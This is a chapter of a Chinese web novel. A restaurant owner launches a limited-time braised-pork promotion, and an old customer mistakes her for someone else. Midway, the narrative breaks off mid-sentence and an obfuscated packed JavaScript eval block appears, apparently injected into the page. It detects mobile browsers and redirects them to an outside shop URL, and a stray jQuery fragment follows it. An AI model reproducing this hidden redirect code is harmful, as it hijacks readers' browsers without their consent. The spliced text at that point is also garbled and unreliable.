画的正中央是满满一盘肉，肉块挤挤挨挨地摞在一起，每块都裹着酱汁，泛着诱人的光泽。
一旁写着：红烧肉。
红烧肉的四周还画着其他的菜：近来颇受欢迎的羊肉胡辣汤，家中孩子最喜欢的小酥肉，串在一起的香煎肉片……也有几样他们没吃过，看不出是什么的。
画的最下方还写着一行极醒目的字：
本月进店购买红烧肉及图中任一菜肴，减十文并奉赠一碗米饭。
减十文？
识字的震惊地盯着这几个字，不敢相信。
不识字的则使劲盯着画上的肉，恨不得把眼珠子贴上去。
闻娘子这是新出的什么菜？中间的那肉看着真馋人！
待听了一旁的人解释完上面写的什么之后，他们连连摇头，打死不信。
“减十文？生意还做不做了，绝无可能！”
识字的人急了，梗着脖子嚷道：“就这几个字，我还能认错不成！”
“那谁知道？走！进去问问闻娘子！”
“问问去！说不定是闻娘子写错了。嘿嘿，要是写错了，这事她还认不认呐？”
几个人争先恐后地进了闻香来。还没走到柜台，一股从未闻过的浓浓香味便从灶房飘了出来，直往鼻子里钻。
站在柜台前，那股香味就更明显了，众人均不由自主地吸了吸鼻子，再开口时，原本要说的话就变了样。
“闻娘子，这就是那红烧肉的味道？”
闻映笑着迎出来，点了点头。
众人这才回过神来，七嘴八舌地问：“闻娘子，你外面那画上写的是减十文？”
“是啊，这是真的还是假的？你不会是写错了吧？”
在众人或不敢置信、或怀疑的目光下，闻映笑吟吟地朗声道：
“大家没有看错，这是小店本月推出的‘无肉不欢’套菜。本月进店买红烧肉和图上其他任一菜肴，都减十文钱。”
众人一片哗然，有脑子转得快的，已经反应过来，紧接着就问：“那这红烧肉什么价？”
闻映笑着抬手示意。众人顺着望去，只见她身后的墙上，原本只挂着胡辣汤、油条、炝锅面的画，如今又增加了好几样。
此时排在最前头的正是一盘红亮亮的红烧肉，下面挂着价格牌——五十八文。
“五十八文？这也太贵了！减十文也贵啊！”有人立马出声。
但也有人替闻映说话：“那红烧肉看着满满一大盘肉，这个价格也还算合理。况且……这个月不吃，以后再想吃可就是五十八文了。”
嘶……
这话听着，怎么就跟他们这个月不吃就要白白损失十文钱了似的。
果然，已经有人露出了意动的神色。
就在他们还在犹豫之时，门外突然传来一阵热闹的动静。
“闻香来？就是这吧？”
“没错！在门外我都闻见红烧肉的味了。”
“快走快走！昨儿个在大相国寺吃完，我回去想了一宿，翻来覆去睡不着，就惦记这口！”
话音未落，外头呼啦啦涌进来三四个人，一个个脸上带着笑，眼睛亮晶晶的，进门就往灶房方向瞅。
闻映正觉得眼熟，其中一人看见她，眼睛一亮，直奔而来：“闻娘子，又见面了！昨日在大相国寺，那红烧肉我只尝了几块，根本没吃过瘾，今日便又找过来了！”
闻映也认出来了，这正是昨日品尝红烧肉的那几位食客。
食客吃了还想吃，是对自己厨艺莫大的认可。她又惊又喜，连忙迎上去：“欢迎欢迎，快请坐下。”
旁边原本还在犹豫的客人，见状都愣住了。有人忍不住拉住其中一位：“哎，兄弟，这菜不是今日才有吗？你们如何在大相国寺吃到的？”
那人一听他们竟是第一个吃到这菜的，顿时挺起了胸膛：“昨日闻娘子和烧猪院的惠明法师交流厨艺，我等正好在边上，就有幸尝了这红烧肉。”
“那滋味如何？”
他一竖大拇指，满脸回味：“滋味真是绝了！连惠明法师都连连赞好！”
“每一块肉都肥而不腻，入口即化，甜咸交融。连底下的汤汁我都想拌饭吃上三大碗！昨儿个每人只分到几块，根本没吃够，这不，今日我们几个约好，专程过来解馋的！”
“对对对！我家那小子平时挑食得厉害，昨儿在大相国寺愣是吃了好几块，回去一晚上嚷嚷了好几遍还想吃。”旁边另一个带着孩子来的人抢着附和。
几句话下来，原本还在犹豫的那些人，此刻也顾不上再掂量了。
有人转头就冲闻映喊道：“闻娘子，那我也来一份红烧肉，再加个套菜里的胡辣汤！”
“我也来一份！”
“还有我！给我也加上！”
一时间，店里点菜声此起彼伏，众人生怕晚了就抢不着似的，纷纷挤到柜台前。
闻映被围在中间，手里忙个不停，嘴角却止不住地往上翘。
这一忙就忙到了天黑。
没剩几桌客人的时候，闻映终于从灶房出来，站在柜台前翻开今日的账本。
客人对红烧肉价格的接受度比她想象的还要高。
定价时，闻映采取了现代商家常用的策略：限时优惠。
毕竟，人们时常把自己没得到的利益视作自己的损失。
当然，前提是东西要好，能引得客人动心，这法子才能行得通。
今日多亏了从大相国寺过来的那批客人，由他们打开了局面。后面再进来的人，看到已经在吃着的客人桌上的红烧肉，再闻到源源不断传来的香味，不少都愿意趁着优惠买一份尝尝。
红烧肉也没有辜负她的期望，赢得了一众客人的喜爱。
同时，为了优惠，客人还得再搭一份其他的菜，这样就又带动了更多菜的销量。
果然，当初决定去大相国寺摆摊是正确的，闻映心中再次肯定。
以后只要忙得过来，一个月固定去上一两次也不错。
正美美地盘算着，忽然门口传来“笃笃”两声轻响。
闻映抬头一看，是个面生的食客。他穿着一身半旧平整的青布衣裳，手里拄着一根拐杖，头发半白，额头横亘着两条深深的纹路，双眼锐利地逡巡了一圈，慢慢往里走
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17752696|206983||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
闻映放下账本，迎过去，“客人吃点什么？”
那人上下打量了她一遍，才跟着走到桌前。
坐下后，他将拐杖放到一边，开口：“你那红烧肉，是羊肉吗？”
“不是，是猪肉。您要是想吃羊肉，店里还有羊肉胡辣汤。”
“猪肉……”那人皱眉，明显不太满意，顿了顿，还是说：“罢了，那红烧肉和胡辣汤各给我来一碗。”
“好嘞，刚好您点的是店内的‘无肉不欢’套菜，赠您一碗米饭，菜钱减十文。”
稍后菜端上桌，刚收汁出锅的红烧肉热气腾腾，肉块色泽红亮，肥瘦相间，颤巍巍地泛着油光，上头撒了翠绿的葱花，香气扑鼻。
但那人却仿佛看不到也闻不到般，不辨喜怒，只有眉间的纹路更深了几分。
他拿起筷子，夹起一块，送入口中。
慢慢嚼了嚼，脸上的神情没有变化。
又夹了一块。
还是没变化。
闻映站在柜台后面，时不时瞟过去一眼，见他放下了筷子，她的心一提。
下一瞬，那人端起胡辣汤的碗喝了一口。
闻映的心也随之放下。
好在最后桌上的菜还是慢慢吃完了，那人没有急着走，坐在那里一口一口喝着茶。
闻映提着茶壶过去续茶，笑问：“您是头一回过来吧？菜吃着味道如何？”
许是吃饱了的缘故，那人脸上的神情竟多了些许温和，他淡淡地瞥了闻映一眼：“你不记得我了？我先前每旬都过来。”
闻映一怔，原来这人是闻香来的老客，听这意思，还是常客。
还没等她想好该如何回答，那人就继续说下去了。
“你不记得也正常，你以前每回出来干活，都低着头，不情不愿的。你爹没少念叨，说你嫌弃灶房烟熏火燎，不好好跟着他学手艺。”
“如今看着……”他目光落在闻映脸上，额间的纹路缓缓展开，眼中浮现出一丝欣慰：“你倒是比你爹说的长进多了。虽然料理羊肉的手艺比起你爹还差些火候，但这猪肉做得着实不错，我在汴京还未吃到过这个味道的猪肉。”
他顿了顿，最后说：“你爹走的突然，但一身手艺也算后继有人了。”
闻映不语，心口像被小火煨着，微微发烫。
她知道，他把自己认成了胡萱。
可看着眼前这位老人眼中真切的欣慰，她张了张嘴，终究没有解释。
解释什么呢？说胡萱已离开闻家，说她是与闻父素未谋面的亲生女儿？
她不知道这位客人与闻父有多深的交情，也不知道他若得知闻父一身的手艺真的后继无人会是怎样的反应。
她只知道，他此刻的欣慰是真实的，他对闻父是记挂的，他对闻香来是有感情的。
最终，她低下头，轻声道：“我会好好经营闻香来的，您以后也常来，多指点我的手艺。”
闻映站在门口，看着他的背影消失在街尽头，心里说不清是什么滋味。
……
许是人经不住念叨，次日，胡萱就再次来到了闻家。